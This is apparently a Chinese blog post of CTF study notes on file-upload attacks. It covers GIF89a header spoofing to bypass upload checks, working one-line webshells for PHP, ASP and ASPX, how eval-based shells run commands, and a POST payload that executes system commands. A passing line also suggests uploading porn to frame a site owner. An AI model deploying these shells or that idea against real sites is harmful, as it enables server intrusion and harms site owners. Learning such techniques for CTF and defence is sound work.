web做题小收获

本文介绍了HTTP头的不同格式,如text/html、text/plain等,并详细讲解了GIF89a如何用于图片文件欺骗,以及如何构造一句话木马进行上传。此外,还阐述了一句话木马的工作原理和入侵条件,包括PHP、ASP、ASPX等不同语言的一句话木马实例。同时,文章强调了eval()函数在执行代码中的作用,以及利用文件上传漏洞进行攻击的可能。最后,提到了入侵成功的三个必要条件以及如何通过POST代码执行系统命令。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


刷题后发现很多东西都不会,百度学习了一些

http头

一些常见的http头

text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif:gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式

GIF89a图片文件欺骗

GIF89a可以运用在木马上,可以构造一句话木马进行上传:GIF89a? <script language="php">eval($_REQUEST[1])</script>一般在不能使用当php代码直接注入时可以改为phtml格式加入GIF89a(图片头文件欺骗),后台认为是图片,上传后再执行木马。上传后可以通过蚁剑进行连接得到想要的信息。

一句话木马

什么是一句话木马呢?
渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是可以上传的。
最简单的一句话木马:

<?php @eval($_POST['attack']);?>

基本原理:利用文件上传漏洞,往目标上传一句话木马,然后你可以通过菜刀或者蚁剑进行连接,获得想要获得的信息,@表示即使后面执行错误也不会报错,eval()函数表示括号内的语言字符串什么的都被当做代码执行,$_POST['attack']表示从页面中获得attack这个参数值。或者简单的理解为蚁剑或者菜刀的连接密码是attack。
入侵条件
入侵成功需要满足三个条件:

(1)木马上传成功,未被杀;
(2)知道木马的路径在哪;
(3)上传的木马能正常运行。

常见的一句话木马:

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request (“pass”)%>
aspx的一句话是: <%@ Page Language=“Jscript”%> <%eval(Request.Item[“pass”],“unsafe”);%>

上传过程可以是直接写入网站中的一些文件中,或者是直接自己创建文件,写入木马,把文件类型修改为可以上传的形式,直接上传。
基本原理:
我们先看一个原始而又简单的php一句话木马:

  <?php @eval($_POST['cmd']); ?>

懂一点的人都能看出来连接密码是cmd,通过post输出,但是为什么呢,需要深度解析,先看一下代码是怎么执行的
这句话什么意思呢?

(1)php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
(2)@符号的意思是不报错,即使执行错误,也不报错

如果没有@,代码错误网页就会善意的提醒你,Notice,你的xxx变量没有定义然后你的密码就暴漏了,所以要加上@
(3)为什么密码是cmd呢?
php中有几个超全局变量,$_GET、$_POST就是其中之一。$_POST['a']; 的意思就是a这个变量,用post的方法接收。

注释:传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2)

(4)那么eval()函数怎么理解呢
eval()把字符串作为PHP代码执行。
例如:eval("echo'a'");其实就是直接echo'a';<?php eval($_POST['pw']); ?>首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';这时代码就变成<?php eval("echo 'a';"); ?

连起来就是说用post方式接受变量pw,把变量pw里面的字符串当作php代码来执行,所以也就是想要执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马,想看看目标硬盘里有没有你想要知道的东西,就可以使用post函数:opendir()或者readdir()等等。想上传点小黄片,诬陷站主,就可以用php函数:move_upload_file,当然要把相应的html写好,如果想要执行cmd命令,那么需要用到exec()

除此之外还要有个很重要的前提:php配置文件php.ini里,关掉安全模式safe_mode=off,然后再看看禁用函数列表disable_functions=proc_open,popen,exec,system,shell_exec,把exec去掉,确保没有exec(有些cms为了方便处理某些功能,会处理掉)。

这是POST代码:

  cmd=header("Content-type:text/html;charset=gbk");
  exec("ipconfig",$out);
  echo '<pre>';
  print_r($out);
  echo '</pre>';

这样我们可以看到系统直接执行了系统命令,这就是一句话的短线精悍在这里插入图片描述
大佬博客:https://blog.csdn.net/weixin_39190897/article/details/86772765
后面会更新实践

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值